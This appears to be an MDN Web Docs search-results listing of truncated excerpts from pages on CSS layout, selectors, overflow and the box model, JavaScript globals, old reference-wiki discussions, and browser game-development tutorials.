...lue>? )<hsla()> = hsla( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? )where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples this example uses -ms-scrollbar-face-color and -ms-scrollbar-arrow-color to display a scroll bar with a blue scroll box and arrows, and a scroll bar with a green scroll box and arrows. div { width: 150px; height: 150px; overflow-y: scroll; border-style: solid; border-width: thin; font-family: sans-serif; float: left; margin-right: 10px; } .bluescrollbox { scrollbar-face-color: blue; scrollbar-arrow-color: blue; } .greenscrollbox { scrollbar-face-color: green; scrollbar-arrow-color: green; } <body> <div class="bluescrollbox"> lorem ipsum dolor s...
background-size - Archive of obsolete content
should not the "browser compatibility" table also list google chrome and konqueror? chome is not mentioned at all, but is becoming increasingly popular. konqueror is listed below the table, which seems inconsistent. znerd 04 august 2009 chrome, iron, icab4, omniweb etc. are based on webkit, like netscape 6-8, seamonkey, camino, flock, fennec, blackbird etc. are based on gecko. both layout engines are mentioned in the table. people should refer to the webkit and gecko version to get the info they need. agreed; we should definitely encourage people to look stuff up by engine rather than browser. these tables should be revised over time to list gecko, webkit, internet explorer, and opera, with perhaps a tooltip on each that provides details on which browsers are encompassed by each. i'm g...
...[that said, the popularity of chrome let me think of a table row like safari, chrome (webkit) | 4.0, 2.0 (528). but i'm not able and willing spending time for this. remember you have to test yourself, don't trust online references, don't trust webkit | apple | google homepage, they are wrong. ...
...rust the internet at alll! ] listing konqueror below the table is a compromise for consistency. feel free to put it inside, nothing is set in stone. konqueror's global market share is 0.05%, (< 5% of linux users). given the fact that this reference has serious shortcomings in many places and few contributors, i think spending much time here is not effective. people especially interested in this browser are welcome to contribute. it's hard to get reliable information about its css support without having this browser (read: multiple versions of this browser) installed. are you able and willing to do that for all css properties? if so, feel free to change the en/css_reference/property_template and all css property pages ; ) start with -webkit-background-size and investigate support of contain ...
Reference - Archive of obsolete content
the examples are there specifically to show the differences between two versions of js, and if we have a section in the reference that is dedicated to discussing these differences, i would think that those samples should be included in that section of the reference. or am i misunderstanding something? -- dria 05:30, 22 september 2005 (pdt) the examples (or most of them at least) say that the browser can use the js 1.2 engine with the language="javascript1.2" tag, but this is no longer possible; language="javascript1.x" tags will always use the current version now, i.e. js 1.6. so while the examples do show what js 1.2 does, they incorrectly indicate that it's possible to switch to the 1.2 engine. --maian 05:41, 22 september 2005 (pdt) this is true. the wording should be changed with t...
... offline? well, may be it's no so common in today's world... but is there a way to get content of jsref-1.5 or other documents as a tarball? there are still valid needs for this: computers on slow links, computers behind insane firewalls, as well as computers not connected to internet. unfortunately there is not an [easy] method to download content/packages of content off of devmo for 'local' browsing/viewing/printing, yet. it is in the "nice to have" category for us here, however i am unaware of anyone feverishly working on it. (there are some other priorities ahead of that, imho). if downloading the stuff is your priority you are free to field ideas/concept to the devmo mailing list for discussion, and then actually code it (or find someone to do so). thanks for your thoughts --callek 15:...
...he "... javascript 1.5 ..." pages to "... js ..." (no version number). make the pages document the latest version. each statement/function/object/operator/feature has a small note telling what version introduced that feature. perhaps a larger footnote if there are backwards-compatibility issues involved in using that feature. <hr> xmlhttprequest xmlhttprequest is a host object provided by the browser, not part of js core language. i reverted the addition of xhr to the reference. we should link to some dom vs. js article from the main page and global objects page at least. --nickolay 09:48, 31 january 2007 (pst) yes, it's not a "core" javascript object. let me try to add the links you suggested ... --davidcary 10:25, 31 january 2007 (pst) why distinguish global objects from global properti...
Building Mozilla XForms - Archive of obsolete content
tion. for xforms, you will need to add the following line: ac_add_options --enable-extensions="default,xforms" # if you're using a mozilla source before 2010-11-06 (e.g. an old firefox 3.6 release) use this instead (see bug 601570 for details): ac_add_options --enable-extensions="default,xforms,schema-validation" a complete .mozconfig file for a release build might look like that: . $topsrcdir/browser/config/mozconfig mk_add_options moz_co_project=browser mk_add_options moz_objdir=@topsrcdir@/obj-@config_guess@ #mk_add_options autoconf=autoconf2.13 # possibly needed #mk_add_options moz_make_flags=-jn # (optional) replace n with the number of parallel build processes (e.g. 2 on a dual core processor) ac_add_options --enable-extensions="default,xforms" ac_add_options --disable-debug ac_add_...
...options autoconf=autoconf2.13 # possibly needed #mk_add_options moz_make_flags=-jn # (optional) replace n with the number of parallel build processes (e.g. 2 on a dual core processor) ac_add_options --enable-extensions="default,xforms" ac_add_options --disable-debug ac_add_options --enable-optimize ac_add_options --disable-tests for a debug build, you could use this configuration: . ...
...options moz_make_flags=-jn # (optional) replace n with the number of parallel build processes (e.g. 2 on a dual core processor) ac_add_options --enable-extensions="default,xforms" ac_add_options --disable-debug ac_add_options --enable-optimize ac_add_options --disable-tests for a debug build, you could use this configuration: . $topsrcdir/browser/config/mozconfig mk_add_options moz_co_project=browser mk_add_options moz_objdir=@topsrcdir@/obj-@config_guess@ ac_add_options --enable-extensions="default,xforms" ac_add_options --enable-debug ac_add_options --disable-optimize ac_add_options --disable-tests building now that you have everything ready, you can rebuild mozilla with the same command you used before to build firefox without xforms. switch to the root of your source directory and sta...
Issues Arising From Arbitrary-Element hover - Archive of obsolete content
ems and how to avoid encountering them. many authors make use of the css2 pseudo-class :hover to style their links. this innovation, first introduced by microsoft® internet explorer and later adopted into the css specification, is very popular for the styling of text links, particularly those that are supposed to look and act like javascript-driven "rollovers." however, advancing css support in browsers has caused some unexpectedly aggressive hovering behavior on some pages. hover and non-link elements section 5.11.3 of css2 defines the three dynamic pseudo-classes (:hover, :active, and :focus) and then goes on to say: css doesn't define which elements may be in the above states, or how the states are entered and left. scripting may change whether elements react to user events or not, and ...
...ne.html" class="nav">one</a> | <a href="two.html" class="nav">two</a> | <a href="thr.html" class="nav">three</a> | <a href="fou.html" class="nav">four</a> </td> because the enclosing table cell has a class of nav, the vertical-bar characters will turn red when the user moves the mouse pointer anywhere within the table cell. the links will also turn red when they are hovered. gecko behavior in browsers based on netscape gecko builds later than 20020410 (netscape 6.1+), :hover styles can be applied to any element in a document. thus authors who have used bare pseudo-classes, or bare class-pseudo-class combinations, are at risk of seeing hover styles applied to more than just their links. the most reliable fix is to add the anchor element to the selectors, like this: a:hover {color: red;} a.n...
...an be applied to any element in a document. thus authors who have used bare pseudo-classes, or bare class-pseudo-class combinations, are at risk of seeing hover styles applied to more than just their links. the most reliable fix is to add the anchor element to the selectors, like this: a:hover {color: red;} a.nav:hover {color: red;} in an attempt to avoid causing problems for legacy documents, browsers based on mozilla 1.0 and later (netscape 7+) include code that causes bare pseudo-classes to be restricted only to links if the document is rendered in "quirks" mode. in browsers based on the engine found in mozilla 1.3b and later, this quirk is extended to cover selectors that combine a bare class selector with the :hover pseudo-class (see bug 169078 for details). named anchor problems in a...
Building up a basic demo with the PlayCanvas engine - Game development
that's quite an impressive list of features — let's see some in action. we will try putting together a simple demo first — a cube rendered on the screen. if you have already worked through our building up a basic demo with three.js article (or you are familiar with other 3d libraries) you'll notice that playcanvas works on similar concepts: camera, light and objects. environment setup to start developing with playcanvas, you don't need much. ...
... first — a cube rendered on the screen. if you have already worked through our building up a basic demo with three.js article (or you are familiar with other 3d libraries) you'll notice that playcanvas works on similar concepts: camera, light and objects. environment setup to start developing with playcanvas, you don't need much. you should start off by: making sure you are using a modern browser with good webgl support, such as the latest firefox or chrome. creating a directory to store your experiments in. saving a copy of the latest playcanvas engine inside your directory. opening the playcanvas documentation in a separate tab — it is useful to refer to. html structure here's the html structure we will use. <!doctype html> <html> <head> <meta charset="utf-8"> <title>...
...oned to be 7 units away from the center of the scene on the z axis. this allows us to make some space to visualize the objects that we will create later on. note: the distance values (e.g. for the camera z position) are unitless, and can basically be anything you deem suitable for your scene — milimeters, meters, feet, or miles — it's up to you. try saving the file and loading it in your browser. you should now see a gray window. congratulations! geometry now the scene is properly rendering we can start adding 3d shapes to it. to speed up development playcanvas provides a bunch of predefined primitives that you can use to create shapes instantly in a single line of code. there are cubes, spheres, cylinders and more complicated shapes available. drawing everything for given shape is t...
Build the brick field - Game development
now, let's start creating the bricks themselves — add an empty group first to contain the bricks, by adding the following line at the bottom of the initbricks() function: bricks = game.add.group(); we...
... we will see on screen, the top and left offset (the location on the canvas where we shall start to draw the bricks) and the padding between each row and column of bricks. now, let's start creating the bricks themselves — add an empty group first to contain the bricks, by adding the following line at the bottom of the initbricks() function: bricks = game.add.group(); we can loop through the rows and columns to create new brick on each iteration — add the following nested loop below the previous line of code: for(c=0; c<brickinfo.count.col; c++) { for(r=0; r<brickinfo.count.row; r++) { // create new brick and add it to the group } } this way we will create the exact number of bricks we need and have them all contained in a group. now we need to add some code inside th...
...the newly created brick is enabled for the arcade physics engine, it's body is set to be immovable (so it won't move when hit by the ball), and we're also setting the anchor to be in the middle and adding the brick to the group. the problem currently is that we're painting all the bricks in one place, at coordinates (0,0). what w...
2D maze game with device orientation - Game development
opment and help handle generic tasks needed to complete the game, so you can focus on the game idea itself. starting with the project you can see cyber orb source code on github. the folder structure is quite straightforward: the starting point is the index.html file where we initialize the framework and set up an <canvas> to render the game on. you can open the index file in your favourite browser to launch the game and try it. there are also three folders in the directory: img: all the images that we will use in the game. src: the javascript files with all the source code of the game defined inside. audio: the sound files used in the game. setting up the canvas we will be rendering our game on canvas, but we won't do it manually — this will be taken care of by the framework. l...
..., this.levels[this.level-1], this.wallcollision, null, this); this will tell the framework to execute the wallcollision function when the ball hits any of the walls. we can use the wallcollision function to add any functionality we want like playing the bounce sound and implementing the vibration api. adding the sound among the preloaded assets there was an audio track (in various formats for browser compatibility), which we can use now. it has to be defined in the create() function first: this.bouncesound = this.game.add.audio('audio-bounce'); if the status of the audio is true (so the sounds in the game are enabled), we can play it in the wallcollision function: if(this.audiostatus) { this.bouncesound.play(); } that's all — loading and playing the sounds is easy with phaser. im...
... implementing the vibration api when collision detection works as expected let's add some special effects with the help from the vibration api. the best way to use it in our case is to vibrate the phone every time the ball hits the walls — inside the wallcollision function: if("vibrate" in window.navigator) { window.navigator.vibrate(100); } if the vibrate method is supported by the browser and available in the window.navigator object, vibrate the phone for 100 miliseconds. that's it! adding the elapsed time to improve replayability and give players the option to compete with each other we will store the elapsed time — players can then try to improve on their best game completion time. to implement this we have to create a variable for storing the actual number of seconds elap...
Visual typescript game engine - Game development
project : visual typescript game engine version: sunshine - 2019 2d canvas game engine based on matter.js 2d physics engine for the web. written in typescript current version 3.1.3. text editor used and recommended: visual studio code. luanch debugger configuration comes with this project. physics engine based on matter.js. multiplatform video chat (for all browsers) implemented. socketio used for session staff. multirtc2 used for data transfer also for video chat. multirtc3 alias 'broadcaster' used for video chat. client part to make all dependency works in build process we need some plugins. npm install npm run build navigate in browser /build/app.html to see client app in action -the client part is a browser web application. no reloading or redirecting. this i...
... in ioc, you can make strong class dependency relations. use it for your own structural changes. main dependency file // symbolic for now const plarformergameinfo = { name: "crypto-runner", title: "play platformer crypto runner!", }; // symbolic for now const gameslist: any[] = [ plarformergameinfo, ]; const master = new ioc(gameslist); const appicon: appicon = new appicon(master.get.browser); master.singlton(platformer, master.get.starter); console.log("platformer: ", master.get.platformer); master.get.platformer.attachappevents(); project structure builds/ is autogenerated. don't edit or add content in this folder. src,/ is the main client part (browser web application). main file: app.ts src/libs/ is a common and smart pack of classes, interfaces etc. easy access. server...
...ediaelement.js | | | | | ├── socket.io.js | | | | ├── broadcaster-media.ts | | | | ├── broadcaster.ts | | | | ├── connector.ts | | | | ├── network.ts | | | ├── visual-methods/ | | | | ├── sprite-animation.ts | | | | ├── text.ts | | | | ├── texture.ts | | | ├── browser.ts | | | ├── math.ts | | | ├── position.ts | | | ├── resources.ts | | | ├── sound.ts | | | ├── system.ts | | | ├── view-port.ts | | | ├── visual-render.ts | | ├── interface/ | | | ├── drawi.ts | | | ├── global.ts | | | ├── visual-components.ts | | ├── multi...
Global object - MDN Web Docs Glossary: Definitions of Web-related terms
a global object is an object that always exists in the global scope. in javascript, there's always a global object defined. in a web browser, when scripts create global variables, they're created as members of the global object. (in node.js this is not the case.) the global object's interface depends on the execution context in which the script is running. for example: in a web browser, any code which the script doesn't specifically start up as a background task has a window as its global object. this is the vast majority of javascript code on the web. code running in a worker has a workerglobalscope object as its global object. ...
...any global variables or functions can be accessed as properties of the window object. ...
...ich the script doesn't specifically start up as a background task has a window as its global object. this is the vast majority of javascript code on the web. code running in a worker has a workerglobalscope object as its global object. scripts running under node.js have an object called global as their global object. window object in the browser the window object is the global object in the browser. any global variables or functions can be accessed as properties of the window object. access global variables var foo = "foobar"; foo === window.foo; // returns: true after defining a global variable foo, we can access its value directly from the window object, by using the variable name foo as a property name of the global object window.foo. explanation: the global variable foo was stor...
Grid container - MDN Web Docs Glossary: Definitions of Web-related terms
using the value grid or inline-grid on an element turns it into a grid container using css grid layout, and any direct children of this element become grid items. when an element becomes a grid container it establishes a grid formatting context. ...
...s element become grid items. when an element becomes a grid container it establishes a grid formatting context. the direct children can now lay themselves out on any explicit grid defined using grid-template-columns and grid-template-rows, or on the implicit grid created when an item is placed outside of the explicit grid. ...
...an element becomes a grid container it establishes a grid formatting context. the direct children can now lay themselves out on any explicit grid defined using grid-template-columns and grid-template-rows, or on the implicit grid created when an item is placed outside of the explicit grid. ...
Grid Row - MDN Web Docs Glossary: Definitions of Web-related terms
a grid row is a horizontal track in a css grid layout, that is the space between two horizontal grid lines. it is defined by the grid-template-rows property or in the shorthand grid or grid-template properties. in addition, rows may be created in the implicit grid when items are placed outside of rows created in the explicit grid. these rows will be auto sized by default, or can have a size specified with the grid-auto-rows property. when working with alignment in css grid layout, the axis along which rows run is known as the inline, or row, axis. ...
...ties. in addition, rows may be created in the implicit grid when items are placed outside of rows created in the explicit grid. these rows will be auto sized by default, or can have a size specified with the grid-auto-rows property. when working with alignment in css grid layout, the axis along which rows run is known as the inline, or row, axis. ...
...on, rows may be created in the implicit grid when items are placed outside of rows created in the explicit grid. these rows will be auto sized by default, or can have a size specified with the grid-auto-rows property. when working with alignment in css grid layout, the axis along which rows run is known as the inline, or row, axis. ...
Microsoft Internet Explorer - MDN Web Docs Glossary: Definitions of Web-related terms
ie has gone through many releases and currently stands at version 11.0.12, with desktop, mobile, and xbox console versions available. formerly available on mac and unix, microsoft discontinued those versions in 2003 and 2001 respectively. ...
... ie has gone through many releases and currently stands at version 11.0.12, with desktop, mobile, and xbox console versions available. formerly available on mac and unix, microsoft discontinued those versions in 2003 and 2001 respectively. ...
...explorer on wikipedia internet explorer versions on wikipedia learning about internet explorer http://windows.microsoft.com/en-us/internet-explorer/download-ie http://windows.microsoft.com/en-us/windows7/getting-started-with-internet-explorer-9 http://windows.microsoft.com/en-us/internet-explorer/internet-explorer-help http://windows.microsoft.com/en-us/internet-explorer/make-ie-default-browser#ie=ie-11 technical reference http://windows.microsoft.com/en-us/internet-explorer/products/ie-8/system-requirements http://windows.microsoft.com/en-us/internet-explorer/products/ie-9/system-requirements http://support.microsoft.com/kb/969393 ...
Creating fancy letterheaded paper - Learn web development
es the bottom image to the bottom of the letter adds a semi-transparent gradient over the top of both of the previous backgrounds that gives the letter a bit of texture. make it slightly dark right near the top and bottom, but completely transparent for a large part of the center. add another background declaration that just adds the top image to the top of the letter, as a fallback for browsers that don't support the previous declaration. add a white background color to the letter. add a 1mm top and bottom solid border to the letter, in a color that is inkeeping with the rest of the color scheme. the logo to the <h1>, add the logo as a background image. add a filter to the logo to give it a subtle drop shadow. now comment out the filter and implement the drop shadow in a dif...
...evious declaration. add a white background color to the letter. add a 1mm top and bottom solid border to the letter, in a color that is inkeeping with the rest of the color scheme. the logo to the <h1>, add the logo as a background image. add a filter to the logo to give it a subtle drop shadow. ...
...ng with the rest of the color scheme. the logo to the <h1>, add the logo as a background image. add a filter to the logo to give it a subtle drop shadow. now comment out the filter and implement the drop shadow in a different (slightly more cross-browser compatible) way, which still follows the shape of the round image. hints and tips remember that you can create a fallback for older browsers by putting the fallback version of a declaration first, followed by the version that works across newer browsers only. older browsers will apply the first declaration and ignore the second one, whereas newer browsers will apply the first one, then override it with the second one. feel free to create your own graphics for the assessment if you wish. example the following screenshot shows an...
Overflowing content - Learn web development
arger. (for example, if the user has increased their font size) the next two lessons explain different approaches to control sizing in ways that are less prone to overflow. however, if you need a fixed size, you can also control how the overflow behaves. let's read on! the overflow property the overflow property is how you take control of an element's overflow. it is the way you instruct the browser how it should behave. the default value of overflow is visible. with this default, we can see content when it overflows. to crop content when it overflows, you can set overflow: hidden. this does exactly what it says: it hides overflow. beware that this can make some content invisible. you should only do this if hiding content won't cause problems. instead, perhaps you would like to add scr...
... visible. with this default, we can see content when it overflows. to crop content when it overflows, you can set overflow: hidden. this does exactly what it says: it hides overflow. beware that this can make some content invisible. you should only do this if hiding content won't cause problems. instead, perhaps you would like to add scrollbars when content overflows? using overflow: scroll, browsers with visible scrollbars will always display them—even if there is not enough content to overflow. this offers the advantage of keeping the layout consistent, instead of scrollbars appearing or disappearing, depending upon the amount of content in the container. remove some content from the box below. notice how the scrollbars remain, even if there is no need for scrolling. in the exampl...
...alues. if two keywords are specified, the first applies to overflow-x and the second applies to overflow-y. otherwise, both overflow-x and overflow-y are set to the same value. for example, overflow: scroll hidden would set overflow-x to scroll and overflow-y to hidden. if you only want scrollbars to appear when there is more content than can fit in the box, use overflow: auto. this allows the browser to determine if it should display scrollbars. in the example below, remove content until it fits into the box. you should see the scrollbars disappear. overflow establishes a block formatting context when you use a value of overflow such as scroll or auto, you create a block formatting context (bfc). the content of the box that you have changed the value of overflow for acquires a self-con...
Pseudo-classes and pseudo-elements - Learn web development
ext the next set of selectors we will look at are referred to as pseudo-classes and pseudo-elements. there are a large number of these, and they often serve quite specific purposes. once you know how to use them, you can look at the list to see if there is something which works for the task you are trying to achieve. once again the relevant mdn page for each selector is helpful in explaining browser support. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn about the pseudo-class and pseudo-element selectors. what is a pseudo-class? a pseudo-class is a selector that selects elements that a...
...ols. what is a pseudo-element? pseudo-elements behave in a similar way, however they act as if you had added a whole new html element into the markup, rather than applying a class to existing elements. pseudo-elements start with a double colon ::. ::pseudo-element-name note: some early pseudo-elements used the single colon syntax, so you may sometimes see this in code or examples. modern browsers support the early pseudo-elements with single- or double-colon syntax for backwards compatibility. for example, if you wanted to select the first line of a paragraph you could wrap it in a <span> element and use an element selector; however, that would fail if the number of words you had wrapped were longer or shorter than the parent element's width. as we tend not to know how many words wil...
...the originating element's actual content. ::before matches a stylable element appearing before the originating element's actual content. ::first-letter matches the first letter of the element. ::first-line matches the first line of the containing element. ::grammar-error matches a portion of the document containing a grammar error as flagged by the browser. ::marker matches the marker box of a list item, which typically contains a bullet or number. ::selection matches the portion of the document that has been selected. ::spelling-error matches a portion of the document containing a spelling error as flagged by the browser. previous overview: building blocks next in this module cascade and inh...
CSS selectors - Learn web development
racy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn how css selectors work in detail. what is a selector? you have met selectors already. a css selector is the first part of a css rule. it is a pattern of elements and other terms that tell the browser which html elements should be selected to have the css property values inside the rule applied to them. the element or elements which are selected by the selector are referred to as the subject of the selector. in earlier articles you met some different selectors, and learned that there are selectors that target the document in different ways — for example by selecting an element such as h...
... selector are referred to as the subject of the selector. in earlier articles you met some different selectors, and learned that there are selectors that target the document in different ways — for example by selecting an element such as h1, or a class such as .special. in css, selectors are defined in the css selectors specification; like any other part of css they need to have support in browsers for them to work. the majority of selectors that you will come across are defined in the level 3 selectors specification, which is a mature specification, therefore you will find excellent browser support for these selectors. selector lists if you have more than one thing which uses the same css then the individual selectors can be combined into a selector list so that the rule is applied to...
...rney by finding out about type, class, and id selectors. previous overview: building blocks next reference table of selectors the below table gives you an overview of the selectors you have available to use, along with links to the pages in this guide which will show you how to use each type of selector. i have also included a link to the mdn page for each selector where you can check browser support information. you can use this as a reference to come back to when you need to look up selectors later in the material, or as you experiment with css generally. selector example learn css tutorial type selector h1 { } type selectors universal selector * { } the universal selector class selector .box { } class selectors ...
Sizing items in CSS - Learn web development
ch to fill the container. the third box contains the same image again, also with max-width: 100% set; in this case you can see how it has scaled down to fit into the box. this technique is used to make images responsive, so that when viewed on a smaller device they scale down appropriately. you should, however, not use this technique to load really large images and then scale them down in the browser. images should be appropriately sized to be no larger than they need to be for the largest size they are displayed in the design. downloading overly large images will cause your site to become slow, and it can cost users more money if they are on a metered connection. note: find out more about responsive image techniques. viewport units the viewport — which is the visible area of your pa...
...should be appropriately sized to be no larger than they need to be for the largest size they are displayed in the design. downloading overly large images will cause your site to become slow, and it can cost users more money if they are on a metered connection. note: find out more about responsive image techniques. viewport units the viewport — which is the visible area of your page in the browser you are using to view a site — also has a size. in css we have units which relate to the size of the viewport — the vw unit for viewport width, and vh for viewport height. using these units you can size something relative to the viewport of the user. 1vh is equal to 1% of the viewport height, and 1vw is equal to 1% of the viewport width. you can use these units to size boxes, but also text...
...ox which is sized as 20vh and 20vw. the box contains a letter a, which has been given a font-size of 10vh. if you change the vh and vw values this will change the size of the box or font; changing the viewport size will also change their sizes because they are sized relative to the viewport. to see the example change when you change the viewport size you will need to load the example in a new browser window that you can resize (as the embedded <iframe> that contains the example shown above is its viewport). open the example, resize the browser window, and observe what happens to the size of the box and text. sizing things according to the viewport can be useful in your designs. for example, if you want a full-page hero section to show before the rest of your content, making that part of yo...
The box model - Learn web development
ehave — as we said above, it is sometimes referred to as normal flow, because without any other instruction, our boxes lay out as block or inline boxes. examples of different display types let's move on and have a look at some examples. below we have three different html elements, all of which have an outer display type of block. the first is a paragraph, which has a border added in css. the browser renders this as a block box, so the paragraph begins on a new line, and expands to the full width available to it. the second is a list, which is laid out using display: flex. this establishes flex layout for the items inside the container, however, the list itself is a block box and — like the paragraph — expands to the full container width and breaks onto a new line. below this, we have...
...e box, and you would be right! for this reason, css had an alternative box model introduced some time after the standard box model. using this model, any width is the width of the visible box on the page, therefore the content area width is that width minus the width for the padding and border. the same css as used above would give the below result (width = 350px, height = 150px). by default, browsers use the standard box model. if you want to turn on the alternative model for an element you do so by setting box-sizing: border-box on it. by doing this you are telling the browser to take the border box as the area defined by any size you set. .box { box-sizing: border-box; } if you want all of your elements to use the alternative box model, and this is a common choice among developers, ...
... see two boxes. both have a class of .box, which gives them the same width, height, margin, border, and padding. the only difference is that the second box has been set to use the alternative box model. can you change the size of the second box (by adding css to the .alternate class) to make it match the first box in width and height? note: you can find a solution for this task here. use browser devtools to view the box model your browser developer tools can make understanding the box model far easier. if you inspect an element in firefox's devtools, you can see the size of the element plus its margin, padding, and border. inspecting an element in this way is a great way to find out if your box is really the size you think it is! margins, padding, and borders you've already seen t...
Floats - Learn web development
background-color: rgb(207,232,220); padding: 1em; } once again, this is because the float has been taken out of normal flow. clearing the following element doesn't help with this box clearing problem, where you want the bottom of the box to wrap the floated item and wrapping content even if the content is shorter. there are three potential ways to deal with this, two of which work in all browsers — yet are slightly hacky — and a third new way that deals with this situation properly. the clearfix hack the way that this situation has traditionally been dealt with is to use something known as a "clearfix hack". this involves inserting some generated content after the box which contains the float and wrapping content, and setting that to clear both. add the following css to our exam...
...ipped shadows due to unintended consequences of using overflow. display: flow-root the modern way of solving this problem is to use the value flow-root of the display property. this exists only to create a bfc without using hacks — there will be no unintended consequences when you use it. remove overflow: auto from your .wrapper rule and add display: flow-root. assuming you have a supporting browser, the box will clear. .wrapper { background-color: rgb(79,185,227); padding: 10px; color: #fff; display: flow-root; } float example 7 <h1>simple float example</h1> <div class="wrapper"> <div class="box">float</div> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit. nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> </div> <p class="cleared">duis feli...
...le on legacy layout methods for information on how they used to be used, which may be useful if you find yourself working on older projects. previous overview: css layout next in this module introduction to css layout normal flow flexbox grid floats positioning multiple-column layout responsive design beginner's guide to media queries legacy layout methods supporting older browsers fundamental layout comprehension assessment ...
Test Your Skills: Fundamental layout comprehension - Learn web development
ief you have been provided with some raw html, basic css, and images — now you need to create a layout for the design, which should look just like the image below. basic setup you can download the html, css, and a set of six images here. save the html document and stylesheet into a directory on your computer, and add the images into a folder named images. opening the index.html file in a browser should give you a page with basic styling but no layout, which should look something like the image seen below. this starting point has all of the content of your layout as displayed by the browser in normal flow. if you don't want to work locally then using a tool such as codepen or jsfiddle will work as well. you will need to upload the images using their assets functionality and replace t...
... navigation items in a row, with an equal amount of space between the items. the navigation bar should scroll with the content and then become stuck at the top of the viewport when it reaches it. the image that is inside the article should have text wrapped around it. the <article> and <aside> elements should display as a two column layout. the columns should be a flexible size so that if the browser window shrinks smaller the columns become narrower. the photographs should display as a two column grid with a 1 pixel gap between the images. you will not need to edit the html in order to achieve this layout and the techniques you should use are: positioning float flexbox css grid layout there are a few ways in which you could achieve some of these tasks, and there often isn’t a ...
...it's very hard to help someone with a coding problem if you can't see their code. a link to the actual task or assessment page, so we can find the question you want help with. in this module introduction to css layout normal flow flexbox grid floats positioning multiple-column layout responsive design beginner's guide to media queries legacy layout methods supporting older browsers fundamental layout comprehension assessment ...
Multiple-column layout - Learn web development
ainer will become our multicol container. we switch on multicol by using one of two properties column-count or column-width. the column-count property will create as many columns as the value you give it, so if you add the following css to your stylesheet and reload the page, you will get three columns: .container { column-count: 3; } the columns that you create have flexible widths — the browser works out how much space to assign each column. column-count example body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif; } <div class="container"> <h1>simple multicol example</h1> <p> lorem ipsum dolor sit amet, consectetur adipiscing elit. nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. duis felis orci, ...
...uscipit vel. mauris ultricies lectus sed lobortis finibus. vivamus eu urna eget velit cursus viverra quis vestibulum sem. aliquam tincidunt eget purus in interdum. cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </div> .container { column-count: 3; } change your css to use column-width as follows: .container { column-width: 200px; } the browser will now give you as many columns as it can of the size that you specify; any remaining space is then shared between the existing columns. this means that you will not get exactly the width that you specify, unless your container is exactly divisible by that width. column-width example body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif...
...cification. this specification gives us properties to control breaking of content in multicol and in paged media. for example, add the property break-inside with a value of avoid to the rules for .card. this is the container of the heading and text, and therefore we do not want to fragment this box. at the present time it is also worth adding the older property page-break-inside: avoid for best browser support. .card { break-inside: avoid; page-break-inside: avoid; background-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); padding: 10px; margin: 0 0 1em 0; } reload the page and your boxes should stay in one piece. multicol fragmentation body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif; } <d...
Positioning - Learn web development
this article explains the different position values, and how to use them. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css.) objective: to learn how css positioning works. ...
...ocument flow behavior described above, to produce interesting effects. what if you want to slightly alter the position of some boxes inside a layout from their default layout flow position, to give a slightly quirky, distressed feel? positioning is your tool. or if you want to create a ui element that floats over the top of other parts of the page, and/or always sits in the same place inside the browser window no matter how much the page is scrolled? positioning makes such layout work possible. there are a number of different types of positioning that you can put into effect on html elements. to make a specific type of positioning active on an element, we use the position property. static positioning static positioning is the default that every element gets — it just means "put the elemen...
...d> <dd>camera</dd> <dd>camel</dd> <dt>d</dt> <dd>duck</dd> <dd>dime</dd> <dd>dipstick</dd> <dd>drone</dd> <dt>e</dt> <dd>egg</dd> <dd>elephant</dd> <dd>egret</dd> </dl> the css might look as follows. in normal flow the <dt> elements will scroll with the content. when we add position: sticky to the <dt> element, along with a top value of 0, supporting browsers will stick the headings to the top of the viewport as they reach that position. each subsequent header will then replace the previous one as it scrolls up to that position. dt { background-color: black; color: white; padding: 10px; position: sticky; top: 0; left: 0; margin: 1em 0; } body { width: 500px; height: 1400px; margin: 0 auto; } dt { background-color: black;...
Getting started with CSS - Learn web development
ost usual and useful way of doing so — linking css from the head of your document. create a file in the same folder as your html document and save it as styles.css. the .css extension shows that this is a css file. to link styles.css to index.html add the following line somewhere inside the <head> of the html document: <link rel="stylesheet" href="styles.css"> this <link> element tells the browser that we have a stylesheet, using the rel attribute, and the location of that stylesheet as the value of the href attribute. you can test that the css works by adding a rule to styles.css. using your code editor add the following to your css file: h1 { color: red; } save your html and css files and reload the page in a web browser. the level one heading at the top of the document should now ...
...ating the selectors with a comma. if i want all paragraphs and all list items to be green my rule looks like this: p, li { color: green; } try this out in the interactive editor below (edit the code boxes), or in your local css document. ...
... try this out in the interactive editor below (edit the code boxes), or in your local css document. changing the default behavior of elements when we look at a well-marked up html document, even something as simple as our example, we can see how the browser is making the html readable by adding some default styling. headings are large and bold and our list has bullets. this happens because browsers have internal stylesheets containing default styles, which they apply to all pages by default; without them all of the text would run together in a clump and we would have to style everything from scratch. all modern browsers display html content by default in pretty much the same way. however, you will often want something other than the choice the browser has made. this can be done by simpl...
Front-end web developer - Learn web development
to know to become a front-end web developer. simply work through each section, learning new skills (or improving existing ones) as you go along. each section includes exercises and assessments to test your understanding before you move forward. subjects covered the subjects covered are: basic setup and learning how to learn web standards and best practices (such as accessibility and cross-browser compatibility) html, the language that gives web content structure and meaning css, the language used to style web pages javascript, the scripting language used to create dynamic functionality on the web tooling that is used to facilitate modern client-side web development. you can work through sections in order, but each one is also self-contained. for example, if you already know html, ...
...to create dynamic functionality on the web tooling that is used to facilitate modern client-side web development. you can work through sections in order, but each one is also self-contained. for example, if you already know html, you can skip ahead to the css section. prerequisites you don't need any previous knowledge to start this course. all you need is a computer that can run modern web browsers, an internet connection, and a willingness to learn. if you are not sure if front-end web development is for you, and/or you want a gentle introduction before starting a longer and more complete course, work through our getting started with the web module first. getting help we have tried to make learning front-end web development as comfortable as possible, but you will probably still get ...
